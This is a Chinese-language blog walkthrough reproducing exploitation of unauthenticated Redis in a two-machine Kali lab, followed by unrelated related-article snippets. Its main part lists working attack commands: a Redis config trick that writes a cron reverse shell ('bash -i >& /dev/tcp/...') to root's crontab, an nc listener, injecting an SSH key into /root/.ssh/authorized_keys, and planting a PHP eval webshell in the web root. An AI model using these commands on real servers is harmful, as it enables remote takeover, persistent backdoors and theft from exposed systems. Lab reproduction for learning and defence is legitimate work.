【漏洞复现】Redis未授权

news2024/11/25 21:47:15

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

    • 1.1、漏洞描述
    • 1.2、影响版本
    • 1.3、漏洞复现
      • 环境搭建
      • 写入计划任务获取反弹shell
      • 利用SSH写公钥,免密登陆
      • 利用Redis写WebShell
    • 3、检测未授权访问漏洞检测工具
    • 参考

1.1、漏洞描述

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

1.2、影响版本

redis 4.x/5.x或以前的版本

1.3、漏洞复现

kali攻击方:192.168.8.20

kali靶机:192.168.8.8

环境搭建

两台主机都要有redis环境

apt-get install gcc
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src
./redis-server   #启动redis服务端

在这里插入图片描述

查看开放端口

ss -antpl

在这里插入图片描述

写入计划任务获取反弹shell

由于Redis存在未授权访问漏洞,所以无需账号密码就可以在我们的Redis目录下去远程控制靶机的Redis数据库,但是我们希望不仅仅是可以操作对方的Redis数据库,想提权去控制服务器,比较容易想到的就是想办法写个反弹shell,让靶机来连接我们,如果可以成功反弹,我们就可以提权。我们想到可以让靶机设定一个定时来连接攻击机的计划任务,从而实现反弹;但是写计划任务是需要在计划任务的目录/var/spool/cron中去执行命令,而我们现在只能操作数据库,根本没办法去进入到服务器的计划任务目录,更别说是写计划任务。

因此我们的思想就是:Redis把Redis持久化文件的写入目录改成存放计划任务的目录,因为这个操作是针对Redis的,所以这个操作是可以完成的;然后将持久化文件名更改为root,这样就可以覆盖系统上root用户的crontab文件;之后我们用redis的set命令写入一个键值对(set 命令必须得写成键值对),值就是反弹shell的命令;保存后,我们就成功地借用Redis数据库向服务器的计划任务里加入了一个反弹shell的计划任务,然后在攻击机进行监听,就可以成功提权。

1、攻击方连接靶机客户端

redis-cli -h 192.168.8.8

在这里插入图片描述

2、用Redis的config set命令来更改靶机的Redis持久化目录,把Redis的持久化目录改成系统计划任务的目录

config set dir /var/spool/cron/crontabs

由于系统的不同,crontrab定时文件位置也会不同:

Centos的定时任务文件在/var/spool/cron/<username>

Ubuntu/Kali的定时任务文件在/var/spool/cron/crontabs/<username>

3、用Redis的config set命令来重命名文件,覆盖掉原有的root文件

config set dbfilename root

4、使用Redis的set命令,往持久化目录文件里写一个键值对(这是set命令的格式要求,必须写键值对),键随便起,我起的是saury,值就为反弹shell的命令

set saury "\n* * * * * bash -i >& /dev/tcp/192.168.8.20/6868 0>&1\n"
save

在这里插入图片描述

这步如果执行成功了之后,我们可以去靶机上看一眼,看看计划任务目录里的root文件内容有没有写进去

root权限查看哦!!!

cd /var/spool/cron/crontabs
vim root

在这里插入图片描述

也可以使用crontab -l查看

5、攻击机监听6868端口

nc -lvp 6868

正常情况到这里,等待一分钟就应该接收到反弹了,但是实验中发现并没有。查阅资料发现:有可能是这个版本的crontab对计划任务格式的要求很严格,而在Redis中写入文件时,会自动在文件的开头和结尾写入部分格式头尾,也就是那些乱七八糟的前后缀,导致没有识别出计划任务,就没有成功执行,但复现原理和过程应该是没问题的。所以这个利用方法是有BUG的,不一定成功。

6 为了看到效果,我们可以在靶机上把乱七八糟的前后缀去掉,再等待一下,发现成功反弹。

在这里插入图片描述

利用SSH写公钥,免密登陆

前提条件:目标机器开启了ssh服务,且以root权限启动redis

攻击机生成公钥

ssh-keygen -t rsa

防止其他数据干扰给在公钥内容前后加入换行:

(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > my.txt

将公钥发送到对方redis服务器的缓存中

cat my.txt | redis-cli -h 192.168.8.8 -x set hello

在这里插入图片描述

将公钥写入ssh目录

redis-cli -h 192.168.8.8
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上

在这里插入图片描述

利用Redis写WebShell

前提条件:需要对方开启了web服务和知道web路径,并有读写权限。

​ 无需是 root 起的 Redis

set x "\n\n\n<?php @eval($_POST[cmd]);?>\n\n\n" #加入\n\n\n防止乱码影响shell
config set dir /var/www/
config set dbfilename shell.php
save

3、检测未授权访问漏洞检测工具

下载地址

参考

  • 面试经典 Redis未授权漏洞与组合拳

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1173574.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《 Hello 算法 》 - 免费开源的数据结构与算法入门教程电子书,包含大量动画、图解,通俗易懂

这本学习算法的电子书应该是我看过这方面最好的书了&#xff0c;代码例子有多种编程语言&#xff0c;JavaScript 也支持。 《 Hello 算法 》&#xff0c;英文名称是 Hello algo&#xff0c;是一本关于编程中数据解构和算法入门的电子书&#xff0c;作者是毕业于上海交通大学的…

零代码复现-TCGA联合GEO免疫基因结合代谢基因生信套路(三)

前面的分析中&#xff0c;整理好的关键基因集表达谱矩阵&#xff0c;接下来就准备分子亚型的相关分析。 六、一致性聚类构建分子亚型 在6.TCGA和GEO差异基因获取和预后数据的整理\TCGA文件中获取文件 准备一个生存数据和表达谱矩阵&#xff0c;这里需要注意的是&#xff0c;…

基于Jenkins实现接口自动化持续集成,学完涨薪5k

一、JOB项目配置 1、添加描述 可选选项可填可不填 2、限制项目的运行节点 节点中要有运行环境所需的配置 节点配置教程&#xff1a;https://blog.csdn.net/YZL40514131/article/details/131504280 3、源码管理 需要将脚本推送到远程仓库中 4、构建触发器 可以选择定时构建…

【爬虫实战】用python爬取微博任意关键词搜索结果、exe文件

项目功能简介&#xff1a; 1.交互式配置&#xff1b; 2.两种任意关键词来源&#xff08;直接输入、本地关键词文件&#xff09;&#xff1b; 3.自动翻页(无限爬取)&#xff1b; 4.指定最大翻页页码&#xff1b; 5.数据保存到csv文件&#xff1b; 6.程序支持打包成exe文件…

Go类型嵌入介绍和使用类型嵌入模拟实现“继承”

Go类型嵌入介绍和使用类型嵌入模拟实现“继承” 文章目录 Go类型嵌入介绍和使用类型嵌入模拟实现“继承”一、独立的自定义类型二、继承三、类型嵌入3.1 什么是类型嵌入 四、接口类型的类型嵌入4.1 接口类型的类型嵌入介绍4.2 一个小案例 五、结构体类型的类型嵌入5.1 结构体类…

视频视觉效果制作After Effects 2023 MacOS中文

After Effects 2023是一款业界领先的动态图形和视觉特效软件。它提供了强大的工具集&#xff0c;帮助用户创建引人入胜的视觉效果、动态图形和电影级特效。新的版本带来了更快的渲染速度、增强的图像处理和优化的工作流程&#xff0c;使用户能够更高效地工作。无论您是在电影、…

Kotlin 进阶函数式编程技巧

Kotlin 进阶函数式编程技巧 Kotlin 简介 软件开发环境不断变化&#xff0c;要求开发人员不仅适应&#xff0c;更要进化。Kotlin 以其简洁的语法和强大的功能迅速成为许多人进化过程中的信赖伙伴。虽然 Kotlin 的初始吸引力可能是它的简洁语法和与 Java 的互操作性&#xff0c…

idea文件比对

idea文件比对 1.项目内的文件比对2.项目间的文件比对3. 剪切板对比4. 版本历史(不同分支和不同commit)对比 1.项目内的文件比对 在项目中选择好需要比对的文件(类)&#xff0c;然后选择Compare Files Mac下的快捷键是Commandd&#xff0c; 这样的比对像是git冲突解决一样 …

Peter算法小课堂—单调子序列

最长上升子序列 dp解法&#xff1a; f[i]表示以i结尾的最长上升子序列的长度 按照倒数第二个选谁分类&#xff1a; 我们先扫描i号元素前的每个元素&#xff08;正向&#xff09;&#xff0c;找出第一个比i号元素小的元素k号。①仍然选i号元素&#xff0c;f[i]。②选k号&…

selenium自动化测试入门 —— cookie 处理

driver.get_cookies() # 获得cookie 信息 driver.get_cookies(name) # 获得对应name的cookie信息 add_cookie(cookie_dict) # 向cookie 添加会话信息 delete_cookie(name) # 删除特定(部分)的cookie delete_all_cookies() # 删除所有cookie 示例&#xff1a; from sel…

2022年电工杯数学建模B题5G网络环境下应急物资配送问题求解全过程论文及程序

2022年电工杯数学建模 B题 5G网络环境下应急物资配送问题 原题再现&#xff1a; 一些重特大突发事件往往会造成道路阻断、损坏、封闭等意想不到的情况&#xff0c;对人们的日常生活会造成一定的影响。为了保证人们的正常生活&#xff0c;将应急物资及时准确地配送到位尤为重要…

MapReduce:大数据处理的范式

一、介绍 在当今的数字时代&#xff0c;生成和收集的数据量正以前所未有的速度增长。这种数据的爆炸式增长催生了大数据领域&#xff0c;传统的数据处理方法往往不足。MapReduce是一个编程模型和相关框架&#xff0c;已成为应对大数据处理挑战的强大解决方案。本文探讨了MapRed…

【深度学习】pytorch——Autograd

笔记为自我总结整理的学习笔记&#xff0c;若有错误欢迎指出哟~ 深度学习专栏链接&#xff1a; http://t.csdnimg.cn/dscW7 pytorch——Autograd Autograd简介requires_grad计算图没有梯度追踪的张量ensor.data 、tensor.detach()非叶子节点的梯度计算图特点总结 利用Autograd实…

全网最详细的【shell脚本的入门】

&#x1f3c5;我是默&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; ​ &#x1f31f;在这里&#xff0c;我要推荐给大家我的专栏《Linux》。&#x1f3af;&#x1f3af; &#x1f680;无论你是编程小白&#xff0c;还是有一定基础的程序员&#xff0c;这…

【LearnOpenGL基础入门——2】搭建第一个OpenGL窗口

目录 一.配置GLFW 二.配置GLAD 三.第一个OpenGL窗口 3.1 GLFW设置 3.2 GLAD设置 3.3 视口 3.4 输入 3.5渲染 在我们画出出色的效果之前&#xff0c;首先要做的就是创建一个OpenGL上下文(Context)和一个用于显示的窗口。然而&#xff0c;这些操作在每个系统上都是不一样…

Swift 和 Python 两种语言中带关联信息错误(异常)类型的比较

0. 概览 如果我们分别在平静如水、和谐感人的 Swift 和 Python 社区抛出诸如“Python 是天下最好的语言…” 和 “Swift 是宇宙第一语言…”之类的言论会有怎样的“下场”&#xff1f; 我们并不想对可能发生的“炸裂”景象做出什么预测&#xff0c;也无意比较 Swift 与 Pytho…

[pytorch]手动构建一个神经网络并且训练

0.写在前面 上一篇博客全都是说明类型的,实际代码能不能跑起来两说,谨慎观看.本文中直接使用fashions数据实现softmax的简单训练并且完成结果输出.实现一个预测并且观测到输出结果. 并且更重要的是,在这里对一些训练的过程,数据的形式,以及我们在softmax中主要做什么以及怎么…

14.1 Linux 并发与竞争

一、并发与竞争 并发&#xff1a;多个执行单元同时、并行执行。 竞争&#xff1a;并发的执行单元同时访问共享资源(硬件资源和软件上的全局变量等)易导致竞态。 二、原子操作 1. 原子操作简介 原子操作&#xff1a;不能再进一步分割的操作&#xff0c;一般用于变量或位操作。 …

关于iOS:如何使用SwiftUI调整图片大小?

How to resize Image with SwiftUI? 我在Assets.xcassets中拥有很大的形象。 如何使用SwiftUI调整图像大小以缩小图像&#xff1f; 我试图设置框架&#xff0c;但不起作用&#xff1a; 1 2 Image(room.thumbnailImage) .frame(width: 32.0, height: 32.0) 在Image上应用…

数二真题强化

高等数学 定积分 变上限积分求导 被积函数不能含有x&#xff0c;用换元法 线性代数